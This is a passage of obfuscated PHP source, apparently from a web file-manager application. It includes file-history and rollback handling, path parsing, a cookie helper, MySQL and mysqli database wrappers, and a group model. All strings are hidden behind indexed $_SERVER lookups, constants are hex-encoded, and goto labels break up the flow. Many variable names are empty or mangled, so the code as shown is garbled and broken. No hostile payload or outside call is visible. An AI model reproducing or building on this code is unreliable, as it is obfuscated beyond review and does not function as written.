$[$ʢ[369]][$ƕ][$ʢ[32]] = $˞; } } $[$ʢ[1252]] = IO::move($[$ʢ[1252]], $, !1, $љ . $ӏ); self::saveData($[$ʢ[1252]], $[$ʢ[369]]); self::clearEmptyFolder($[$ʢ[1251]]); } public static function rollback($؎˺, $Ѡ) { $Ш =& $_SERVER[]; $ȋ = self::listData($؎˺); if (!$ȋ) { return; } $ = IO::info($؎˺); foreach ($ȋ[$Ш[369]] as $ => $՞) { if ($՞[$Ш[399]] == $Ѡ) { self::add($؎˺); $Ћʅ = $ȋ[$Ш[1251]] . $՞[$Ш[32]]; $ = IO::copy($Ћʅ, IO::pathFather($؎˺), REPEAT_REPLACE, $[$Ш[32]]); if ($) { self::remove($؎˺, $Ѡ); } return $; } } return !1; } public static function setDetail($Ù, $Ġ, $) { $խ =& $_SERVER[]; $ = self::listData($Ù); if (!$) { return; } foreach ($[$խ[369]] as $ => $ǧ) { if ($ǧ[$խ[399]] == $Ġ) { $[$խ[369]][$][$խ[1250]] = $; self::saveData($[$խ[1252]], $[$խ[369]]); return !0; } } return !1; } public static function fileInfo($ъ, $Ӄ) { $° =& $_SERVER[]; $ = self::listData($ъ); if (!$) { show_json(LNG($°[105]), !1); } $ = $°[12]; foreach ($[$°[369]] as $ => $) { if ($[$°[399]] != $Ӄ) { continue; } $ = $[$°[1251]] . $[$°[32]]; break; } if (!$) { show_json(LNG($°[105]), !1); } return IO::info($); } public static function fileOut($, $, $ǒދ = false) { $ =& $_SERVER[]; $ = self::fileInfo($, $); $ =& $GLOBALS[$[7]]; $ǒދ = isset($[$[1202]]) && $[$[1202]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1253]) { return IO::fileOutImage($[$[84]], $[$[1254]]); } IO::fileOut($[$[84]], $ǒދ, get_path_this($)); } public static function listData($˔, $ = true) { $ۧ枱 =& $_SERVER[]; if ($ && !IO::exist($˔)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($˔, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $蕪 = self::pathHistory($˔); $ = array($ۧ枱[1252] => $蕪 . $ۧ枱[1239], $ۧ枱[1251] => rtrim(get_path_father($蕪), $ۧ枱[8]) . $ۧ枱[8], $ۧ枱[369] => array()); $ = IO::getContent($[$ۧ枱[1252]]); if ($) { $ᣵܮ = json_decode($, !0); if (is_array($ᣵܮ)) { $[$ۧ枱[369]] = $ᣵܮ; } } return $; } private static function saveData($ɝ, $) { $ݯ =& $_SERVER[]; self::log($ݯ[1255] . $ɝ . $ݯ[71] . count($), $ݯ[756]); if ($) { return IO::setContent($ɝ, json_encode($)); } $ = IO::pathFather($ɝ); IO::remove($ɝ); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ҹ = IO::pathFather($); $Ժ = IO::has($, !0); if ($Ժ[$[207]] > 0 || $Ժ[$[208]] > 0) { return; } IO::remove($); self::clearEmptyFolder($ҹ); } private static function getBasePath() { $֣ =& $_SERVER[]; $ = Model($֣[1256])->get($֣[1257]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $֣[1242]) { $މξ = $֣[1258] . rand_string(8); @rename($, get_path_father($) . $֣[8] . $މξ); $ = DATA_PATH . $މξ . $֣[8]; file_put_contents(DATA_PATH . $֣[1192], $֣[12]); Model($֣[1256])->set($֣[1257], $); } return $; } $ = DATA_PATH . $֣[1258] . rand_string(8) . $֣[8]; $ = IO::mkdir($); $ = rtrim($, $֣[8]) . $֣[8]; file_put_contents($ . $֣[1192], $֣[12]); file_put_contents(DATA_PATH . $֣[1192], $֣[12]); Model($֣[1256])->set($֣[1257], $); return $; } } class KodIO { const KOD_SOURCE = "\x7b\x73\157\x75\162\x63\145\175"; const KOD_USER_RECYCLE = "\x7b\165\163\x65\x72\x52\x65\143\171\x63\154\145\175"; const KOD_USER_FAV = "\x7b\165\163\x65\x72\106\x61\x76\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\x73\x65\162\x46\x69\154\x65\124\x61\147\175"; const KOD_USER_FILE_TYPE = "\x7b\165\163\145\162\x46\x69\x6c\145\124\171\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\x6f\165\160\122\157\x6f\x74\x53\145\x6c\x66\x7d"; const KOD_USER_SHARE = "\x7b\x75\x73\145\x72\123\150\x61\162\145\175"; const KOD_USER_SHARE_LINK = "\x7b\165\163\145\x72\x53\150\141\x72\145\114\x69\x6e\x6b\175"; const KOD_USER_SHARE_TO_ME = "\x7b\163\150\x61\x72\x65\124\157\x4d\145\175"; const KOD_SHARE_ITEM = "\x7b\x73\150\141\x72\145\x49\164\145\155\x7d"; const KOD_SHARE_LINK = "\x7b\163\150\x61\162\145\111\x74\x65\155\114\151\x6e\x6b\175"; const KOD_SEARCH = "\x7b\x73\x65\x61\162\x63\x68\x7d"; const KOD_BLOCK = "\173\142\154\x6f\x63\153\x7d"; const KOD_IO = "\173\151\157\x7d"; const KOD_USER_RECENT = "\173\165\x73\x65\162\122\x65\x6e\143\145\x6e\x74\175"; const KOD_USER_DRIVER = "\173\144\x72\151\x76\x65\162\175"; public static function typeList() { $ɣ =& $_SERVER[]; return array($ɣ[1259] => self::KOD_SOURCE, $ɣ[1260] => self::KOD_USER_RECYCLE, $ɣ[1261] => self::KOD_USER_FAV, $ɣ[1262] => self::KOD_USER_FILE_TAG, $ɣ[1263] => self::KOD_USER_FILE_TYPE, $ɣ[1264] => self::KOD_GROUP_ROOT_SELF, $ɣ[1265] => self::KOD_USER_SHARE, $ɣ[1266] => self::KOD_USER_SHARE_LINK, $ɣ[1267] => self::KOD_USER_SHARE_TO_ME, $ɣ[1268] => self::KOD_SHARE_ITEM, $ɣ[1269] => self::KOD_SHARE_LINK, $ɣ[1270] => self::KOD_SEARCH, $ɣ[1271] => self::KOD_BLOCK, $ɣ[1272] => self::KOD_IO, $ɣ[1273] => self::KOD_USER_RECENT, $ɣ[1274] => self::KOD_USER_DRIVER); } public static function parse($먉) { $ =& $_SERVER[]; $먉 = self::clear($먉); $ӥѩ = array_values(self::typeList()); preg_match($[1275], $먉, $̚); $ = array($[422] => !1, $[1276] => !1, $[419] => !1, $[84] => $먉, $[1177] => !1, $[1176] => $[12]); if (is_array($̚) && count($̚) == 5) { $ = $[1277] . $̚[2] . $[327]; if (in_array($, $ӥѩ)) { $[$[1177]] = $̚[1]; $[$[33]] = $; $[$[1278]] = substr($, 1, -1); $[$[399]] = $̚[3]; } $[$[1176]] = $̚[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1241]] = in_array($[$[33]], $); return $; } public static function isTruePath($ė) { $͞ =& $_SERVER[]; if (substr($ė, 0, 1) != $͞[1277]) { return !0; } if (strpos($ė, $͞[408]) === 0) { return !0; } if (strpos($ė, $͞[1245]) === 0) { return !0; } if (strpos($ė, $͞[1279]) === 0) { return !0; } if (strpos($ė, $͞[1280]) === 0) { return !0; } if (strpos($ė, $͞[1281]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1085], $[231]), $[53], $); $ = str_replace($[97], $[8], $); $ғ = $[1282]; if (substr($, 0, 3) == $[1283]) { $ = substr($, 3); } while (strstr($, $ғ)) { $ = str_replace($ғ, $[8], $); } $ = preg_replace($[1284], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function sourceID($) { $ =& $_SERVER[]; $Ɖ = self::parse($); if ($Ɖ[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1285]), !1); } return $Ɖ[$[399]]; } public static function make($ʩ) { if (!$ʩ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($ʩ)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($ܶ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ܶ); } public static function makeFileTagPath($ެ) { return self::makePath(self::KOD_USER_FILE_TAG, $ެ); } public static function makePath($٪, $ = '', $ = '') { $뼨 =& $_SERVER[]; $茁盃 = substr($٪, 1, -1); $֦ = $뼨[1286] . $茁盃 . $뼨[1287] . $ . $뼨[1288]; $֦ = $ ? $֦ . $ . $뼨[8] : $֦; return $֦; } public static function hashPath($ˉ, $𝙦 = true) { $έ =& $_SERVER[]; $ = is_array($ˉ) ? $ˉ : IO::info($ˉ); $Ƈۛ = _get($, $έ[1289], $έ[12]); if (!$Ƈۛ && isset($[$έ[402]])) { $ = IO::info(KodIO::make($[$έ[402]])); $Ƈۛ = _get($, $έ[1289], $έ[12]); } if (!$Ƈۛ && $𝙦) { $ = KodIO::parse($[$έ[84]]); if (!$[$έ[33]]) { $Ƈۛ = IO::hashSimple($[$έ[84]]); } } if (!$Ƈۛ) { $Ƈۛ = md5($[$έ[84]] . $[$έ[76]] . $[$έ[85]]); } return $Ƈۛ; } public static function hashPathSafe($ݪ, $̀ = true) { $ =& $_SERVER[]; $ = self::hashPath($ݪ, $̀); return md5($ . $[1290] . Model($[774])->get($[775])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1291])) { return; } define($[1291], self::systemPath($[1292])); define($[1293], self::systemPath($[1294])); define($[1295], self::systemPath($[1296])); define($[1297], self::systemPath($[1298])); IOHistory::bindEvent(); } public static function systemPath($Ѡ) { $̯ =& $_SERVER[]; $ = $̯[1299] . ucfirst($Ѡ); $⼢ = Model($̯[774])->get($); if ($⼢) { return $⼢; } if ($Ѡ == $̯[1292]) { $⼢ = self::make(Model($̯[829])->systemRootPathAdd($̯[544])); } else { $⼢ = self::systemPath($̯[1292]); $ظ = self::sourceID($⼢); $⼢ = self::make(Model($̯[829])->mkdir($ظ, $Ѡ)); } Model($̯[774])->set($, $⼢); return $⼢; } public static function systemFolder($ɪ) { $ڞ̿ = IO_PATH_SYSTEM_SOURCE . $ɪ; $ = Cache::get($ڞ̿); if (!$) { $ɴȹ = IO::infoFull($ڞ̿); if (!$ɴȹ) { $ = IO::mkdir($ڞ̿, REPEAT_SKIP); } else { $ = $ɴȹ[$_SERVER[][84]]; } Cache::set($ڞ̿, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][771])->defaultDriver(); } public static function defaultIO() { $ה =& $_SERVER[]; $ = self::defaultDriver(); return $ה[1300] . $[$ה[399]] . $ה[1288]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $Ĉ = $GLOBALS[$[6]][$[1301]]; foreach ($Ĉ as $ => $) { $֚ = $[1302] . $; $ɭ = LNG($֚); if ($֚ != $ɭ) { $Ĉ[$][$[32]] = $ɭ; } } return $Ĉ; } public static function diskList($ʣ = true) { $ = $_SERVER[][1303]; if ($ʣ) { $DZʾ = Cache::get($); if (is_array($DZʾ)) { return $DZʾ; } } $DZʾ = self::diskListGet(); Cache::set($, $DZʾ, 60); return $DZʾ; } public static function diskListGet() { $Ŏ֏ =& $_SERVER[]; $ = array(); if ($GLOBALS[$Ŏ֏[6]][$Ŏ֏[1304]] == $Ŏ֏[1305]) { $˗ = $Ŏ֏[1306]; for ($憸֎ = 0; $憸֎ < strlen($˗); $憸֎++) { $ = $˗[$憸֎] . $Ŏ֏[1307]; if (file_exists($)) { $[] = $; } } return $; } if (!function_exists($Ŏ֏[98])) { $[] = $Ŏ֏[839]; return $; } $騽 = explode($Ŏ֏[231], shell_exec($Ŏ֏[1308])); array_shift($騽); array_pop($騽); $ = array($Ŏ֏[1309], $Ŏ֏[1310], $Ŏ֏[1311], $Ŏ֏[1312], $Ŏ֏[1313], $Ŏ֏[1314], $Ŏ֏[1315], $Ŏ֏[1316]); foreach ($騽 as $݊) { $ = preg_split($Ŏ֏[1317], $݊); $ = $[count($) - 1]; if (!strstr($[0], $Ŏ֏[1318]) || !$) { continue; } $Ս = rtrim($, $Ŏ֏[8]) . $Ŏ֏[8]; if (in_array($Ս, $)) { continue; } $[] = $Ս; } return $; } public static function isSameDisk($, $ŵȦ) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1304]] == $[1305]) { return strtolower(substr($, 0, 1)) == strtolower(substr($ŵȦ, 0, 1)); } $ = self::diskList(); $χ = !1; $ = !1; sort($); $ = array_reverse($); $ = rtrim($, $[8]) . $[8]; $ŵȦ = rtrim($ŵȦ, $[8]) . $[8]; foreach ($ as $ƴ͒) { $ = strlen($ƴ͒); if (!$χ && substr($, 0, $) == $ƴ͒) { $χ = $ƴ͒; } if (!$ && substr($ŵȦ, 0, $) == $ƴ͒) { $ = $ƴ͒; } if ($χ && $) { break; } } return $χ === $; } public static function transferType($, $¨) { $ַ =& $_SERVER[]; $ڶ = self::driverType($); $ = self::driverType($¨); if ($ڶ[$ַ[33]] == $[$ַ[33]] && $ڶ[$ַ[1319]] == $[$ַ[1319]]) { return $ַ[1320]; } if ($ڶ[$ַ[33]] == $ַ[872] && $[$ַ[33]] == $ַ[106]) { return $ַ[1202]; } if ($ڶ[$ַ[33]] == $ַ[106] && $[$ַ[33]] == $ַ[872]) { return $ַ[107]; } return $ַ[1321]; } public static function driverType($) { $Һ =& $_SERVER[]; $ = str_replace($Һ[1322], $Һ[12], strtolower($->getType())); if ($ == $Һ[762] || $ == $Һ[1323] || $ == $Һ[1324]) { $ = self::defaultDriverInit(); } else { if ($ == $Һ[1212] || $ == $Һ[1325]) { $ = IO::init($->pathParse[$Һ[1158]]); } } $մ = $->path; $ = str_replace($Һ[1322], $Һ[12], strtolower($->getType())); if ($ == $Һ[106]) { return array($Һ[33] => $Һ[106], $Һ[1319] => $Һ[12], $Һ[84] => $մ); } return array($Һ[33] => $Һ[872], $Һ[1319] => $->pathDriver, $Һ[84] => $մ); } public static function pathDriverType($ʥ) { return $ʥ ? self::driverType(IO::init($ʥ)) : !1; } } goto Fﱊ挅; C̻: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($Ǡ = '', $긱 = 0) { if (is_string($Ǡ) && $Ǡ != $_SERVER[][12]) { $this->prefix = $Ǡ; } if (is_numeric($긱) && $긱 > 0) { $this->expire = $긱; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($ϣȦ, $, $Ҍ = 0, $ε = false, $ = false) { $א =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$Ҍ) { $Ҍ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ϣȦ]) && self::$sameCookieSet[$ϣȦ] == $ . $Ҍ) { return; } self::$sameCookieSet[$ϣȦ] = $ . $Ҍ; if (!$) { $ = str_replace(HOST, $א[12], APP_HOST); $ = _get($GLOBALS, $א[889], $); } $߭Щ = $א[12]; setcookie($ϣȦ, $, time() + $Ҍ, $א[8] . trim($, $א[8]) . $߭Щ, !1, !1, $ε); } public static function setSafe($, $, $Ѯ = 0) { self::set($, $, $Ѯ, !0); } public static function get($댆) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$댆]) ? $_COOKIE[$댆] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[890]]) || !$_SERVER[$[890]]) { return; } $ = explode($[71], $_SERVER[$[890]]); foreach ($ as $ة) { $ة = explode($[891], $ة); if (count($ة) != 2 || !isset($ة[1])) { continue; } $_COOKIE[trim($ة[0])] = trim($ة[1]); } } public static function remove($, $ъ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $ъ); } } class DbMysql extends Db { public function __construct($ͷ = '') { $ȸ =& $_SERVER[]; if (!extension_loaded($ȸ[808])) { think_exception(think_lang($ȸ[14]) . $ȸ[892]); } if (!empty($ͷ)) { $this->config = $ͷ; if (empty($this->config[$ȸ[17]])) { $this->config[$ȸ[17]] = $ȸ[12]; } } } public function connect($ = '', $ = 0, $Ƴٶ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $؞ = $[$[893]] . ($[$[894]] ? "\x3a{$[$[894]]}" : $[12]); $˨ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($˨) { $this->linkID[$] = mysql_pconnect($؞, $[$[895]], $[$[896]], 131072); } else { $this->linkID[$] = mysql_connect($؞, $[$[895]], $[$[896]], !0, 131072); } if (!$this->linkID[$] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($[897] . think_config($[898]) . $[58], $this->linkID[$]); if ($ > $[899]) { mysql_query($[900], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($ޟ) { $ =& $_SERVER[]; if (0 === stripos($ޟ, $[264])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ޟ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($ޟ, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ȫ֚) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ȫ֚; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($ȫ֚, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][901], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][902], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][903], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ìɭ = array(); if ($this->numRows > 0) { while ($䒎 = mysql_fetch_assoc($this->queryID)) { $ìɭ[] = $䒎; } mysql_data_seek($this->queryID, 0); } return $ìɭ; } public function getFields($) { $ =& $_SERVER[]; $ڨ = $this->query($[904] . $this->parseKey($)); $ܪ = array(); if ($ڨ) { foreach ($ڨ as $̅ => $瓹) { $ܪ[$瓹[$[31]]] = array($[32] => $瓹[$[31]], $[33] => $瓹[$[34]], $[35] => (bool) (strtoupper($瓹[$[36]]) === $[905]), $[37] => $瓹[$[38]], $[39] => strtolower($瓹[$[40]]) == $[41], $[42] => strtolower($瓹[$[43]]) == $[44]); } } return $ܪ; } public function getTables($Ŝ = '') { $ѷ =& $_SERVER[]; if (!empty($Ŝ)) { $䐉 = $ѷ[906] . $Ŝ . $ѷ[907]; } else { $䐉 = $ѷ[908]; } $ = $this->query($䐉); $݆ = array(); foreach ($ as $â => $) { $݆[$â] = current($); } return $݆; } public function replace($ˍ, $ = array()) { $˰ =& $_SERVER[]; foreach ($ˍ as $ => $) { $δ = $this->parseValue($); if (is_scalar($δ)) { $Ё[] = $δ; $[] = $this->parseKey($); } } $ = $˰[909] . $this->parseTable($[$˰[279]]) . $˰[910] . implode($˰[50], $) . $˰[911] . implode($˰[50], $Ё) . $˰[912]; return $this->execute($); } public function insertAll($Ǹ, $ = array(), $ = false) { $ǽ =& $_SERVER[]; if (!is_array($Ǹ[0])) { return !1; } $ = array_keys($Ǹ[0]); $ = array(); foreach ($Ǹ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $ǽ[260] . implode($ǽ[50], $) . $ǽ[912]; } array_walk($, array($this, $ǽ[913])); $ = ($ ? $ǽ[914] : $ǽ[915]) . $ǽ[916] . $this->parseTable($[$ǽ[279]]) . $ǽ[910] . implode($ǽ[50], $) . $ǽ[917] . implode($ǽ[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ε =& $_SERVER[]; $this->error = mysql_errno() . $ε[4] . mysql_error($this->_linkID); if ($ε[12] != $this->queryStr) { $this->error .= LNG($ε[48]) . $this->queryStr; } think_trace($this->error, $ε[12], $ε[49]); return $this->error; } public function escapeString($߳) { if ($this->_linkID) { return mysql_real_escape_string($߳, $this->_linkID); } else { return mysql_escape_string($߳); } } public function parseKey(&$ҟ, $цĚ = true) { $ʊխ =& $_SERVER[]; if ($цĚ) { $ҟ = $this->parseKeyCheck($ҟ); } if ($ҟ != $ʊխ[188] && !preg_match($ʊխ[918], $ҟ)) { $ҟ = $ʊխ[385] . trim($ҟ, $ʊխ[385]) . $ʊխ[385]; } return $ҟ; } } class DbMysqli extends Db { public function __construct($٣ = '') { $ߨ =& $_SERVER[]; if (!extension_loaded($ߨ[919])) { think_exception(think_lang($ߨ[14]) . $ߨ[920]); } if (!empty($٣)) { $this->config = $٣; if (empty($this->config[$ߨ[17]])) { $this->config[$ߨ[17]] = $ߨ[12]; } } } public function connect($ = '', $ᖼ = 0) { $姾 =& $_SERVER[]; if (!isset($this->linkID[$ᖼ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ᖼ] = new mysqli($[$姾[893]], $[$姾[895]], $[$姾[896]], $[$姾[21]], $[$姾[894]] ? intval($[$姾[894]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$ᖼ]->server_version; $this->linkID[$ᖼ]->query($姾[897] . think_config($姾[898]) . $姾[58]); if ($ > $姾[899]) { $this->linkID[$ᖼ]->query($姾[900]); } $this->connected = !0; if (1 != think_config($姾[22])) { unset($this->config); } } return $this->linkID[$ᖼ]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($ާ) { $樷 =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ާ; if ($this->queryID) { $this->free(); } think_action_status($樷[23], 1); think_status($樷[24]); $this->queryID = $this->_linkID->query($ާ); if ($this->_linkID->more_results()) { while (($ড় = $this->_linkID->next_result()) != NULL) { $ড়->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $М = $this->_linkID->query($); $this->debug(); if (!1 === $М) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $҄ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$҄) { $this->error(); return !1; } } return !0; } private function getAll() { $ؕ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ؕ[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ؕ; } public function getFields($§) { $̛ =& $_SERVER[]; $ѹŽ = $this->query($̛[904] . $this->parseKey($§)); $ = array(); if ($ѹŽ) { foreach ($ѹŽ as $ϡ => $⒦ƭ) { $[$⒦ƭ[$̛[31]]] = array($̛[32] => $⒦ƭ[$̛[31]], $̛[33] => $⒦ƭ[$̛[34]], $̛[35] => (bool) ($⒦ƭ[$̛[36]] === $̛[12]), $̛[37] => $⒦ƭ[$̛[38]], $̛[39] => strtolower($⒦ƭ[$̛[40]]) == $̛[41], $̛[42] => strtolower($⒦ƭ[$̛[43]]) == $̛[44]); } } return $; } public function getTables($ީ = '') { $ =& $_SERVER[]; $ = !empty($ީ) ? $[906] . $ީ . $[907] : $[908]; $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $[$] = current($); } } return $; } public function replace($ή, $ƭ = array()) { $Ȭ =& $_SERVER[]; foreach ($ή as $ϒ => $) { $ = $this->parseValue($); if (is_scalar($)) { $ز[] = $; $[] = $this->parseKey($ϒ); } } $ = $Ȭ[909] . $this->parseTable($ƭ[$Ȭ[279]]) . $Ȭ[910] . implode($Ȭ[50], $) . $Ȭ[911] . implode($Ȭ[50], $ز) . $Ȭ[912]; return $this->execute($); } public function insertAll($, $ρ = array(), $ = false) { $˜װ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ɝ = array(); foreach ($ as $) { $֎ = array(); foreach ($ as $ܜ => $) { $ = $this->parseValue($); if (is_scalar($)) { $֎[] = $; } } $ɝ[] = $˜װ[260] . implode($˜װ[50], $֎) . $˜װ[912]; } array_walk($, array($this, $˜װ[913])); $Ԑ = $ ? $˜װ[914] : $˜װ[915]; $ = $Ԑ . $˜װ[916] . $this->parseTable($ρ[$˜װ[279]]) . $˜װ[910] . implode($˜װ[50], $) . $˜װ[917] . implode($˜װ[50], $ɝ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ԍ =& $_SERVER[]; $this->error = $this->_linkID->errno . $ԍ[4] . $this->_linkID->error; if ($ԍ[12] != $this->queryStr) { $this->error .= LNG($ԍ[48]) . $this->queryStr; } think_trace($this->error, $ԍ[12], $ԍ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$ݹǾ, $ե = true) { $ֲ =& $_SERVER[]; if ($ե) { $ݹǾ = $this->parseKeyCheck($ݹǾ); } if ($ݹǾ != $ֲ[188] && !preg_match($ֲ[918], $ݹǾ)) { $ݹǾ = $ֲ[385] . trim($ݹǾ, $ֲ[385]) . $ֲ[385]; } return $ݹǾ; } } goto c˔; bȚѝ: class GroupModel extends ModelBase { protected $tableName = "\147\162\157\165\x70"; protected $tableMeta = array("\x74\x61\x62\154\145\x4e\x61\x6d\x65" => "\x67\162\157\x75\160\x5f\155\x65\164\141", "\155\x65\164\x61\x46\151\x65\x6c\x64" => "\x67\x72\157\x75\x70\x49\x44"); protected function cacheFunctionAlias($и) { $ =& $_SERVER[]; return array($[1941] => array($и[0], $[1942]), $[1943] => array($и[0], $[1944])); } protected function getInfo($ҁ, $ = false) { $ν = $this->getInfoSimple($ҁ); if (!$ν) { return !1; } if ($) { return $this->_listDataApplyItem($ν); } return $this->cacheFunctionGet($_SERVER[][1945], $ҁ); } protected function getInfoSimple($ʜ, $ۤ = false) { $ =& $_SERVER[]; if ($ۤ) { $ = array($[1863] => intval($ʜ)); $вԏ = $this->where($)->find(); return is_array($вԏ) ? $вԏ : array(); } return $this->cacheFunctionGet($[1946], $ʜ); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[432]] && isset($[$[1863]]) && $[$[1863]] == 1) { if ($ߙ = $this->getInfoSimple($[$[1863]], !0)) { return $[$[1863]]; } } else { $ߙ = $this->getInfoSimple($[$[432]]); if (!$ߙ) { return !1; } } $ = $[531]; if ($ߙ[$[521]]) { $ = $ߙ[$[521]] . $ߙ[$[1863]] . $[50]; } $ׁ = array($[420] => $this->groupNameAuto($[$[432]], $[$[32]]), $[401] => $[$[432]], $[590] => $, $[1947] => $[$[1850]], $[1948] => 0, $[1867] => 0); if (isset($[$[1887]])) { $ׁ[$[1887]] = $[$[1887]]; } else { $ = $this->max($[1887]); if (!$) { $ = 0; } $ׁ[$[1887]] = $ + 1; } if (!empty($[$[1863]])) { $ׁ[$[1863]] = $[$[1863]]; } $ݶ = $this->add($ׁ); $this->setNamePinyin($ݶ, $ׁ[$[32]]); if (isset($[$[1949]])) { $this->metaSet($ݶ, array($[1949] => $[$[1949]], $[1950] => $[$[1950]])); unset($[$[1949]]); unset($[$[1950]]); } Model($[1343])->groupRootAdd($ݶ); return $ݶ; } protected function groupEdit($, $Ӳ) { $䅲 =& $_SERVER[]; $ӷ = $this->getInfoSimple($); if (!$ӷ) { return !1; } if (!empty($Ӳ[$䅲[432]])) { $ߟ = $this->getInfoSimple($Ӳ[$䅲[432]]); if (!$ߟ) { return !1; } if ($ӷ[$䅲[1863]] == $ߟ[$䅲[1863]]) { return !1; } if ($Ӳ[$䅲[432]] != $ӷ[$䅲[432]]) { if ($ߟ[$䅲[521]] !== $ӷ[$䅲[521]] && strpos($ߟ[$䅲[521]], $ӷ[$䅲[521]] . $ӷ[$䅲[1863]] . $䅲[50]) === 0) { return !1; } $Ӳ[$䅲[590]] = $ߟ[$䅲[521]] . $Ӳ[$䅲[432]] . $䅲[50]; $this->_changeChildLevel($ӷ, $ߟ); } } if (isset($Ӳ[$䅲[32]])) { $this->setNamePinyin($, $Ӳ[$䅲[32]]); } if (isset($Ӳ[$䅲[1949]])) { $this->metaSet($, array($䅲[1949] => $Ӳ[$䅲[1949]], $䅲[1950] => $Ӳ[$䅲[1950]])); unset($Ӳ[$䅲[1949]]); unset($Ӳ[$䅲[1950]]); } $this->_clearChildrenCache($ӷ); return $this->where(array($䅲[1951] => $))->save($Ӳ); } private function _clearChildrenCache($) { $Ќ =& $_SERVER[]; $Ӂ = array($Ќ[590] => array($Ќ[550], 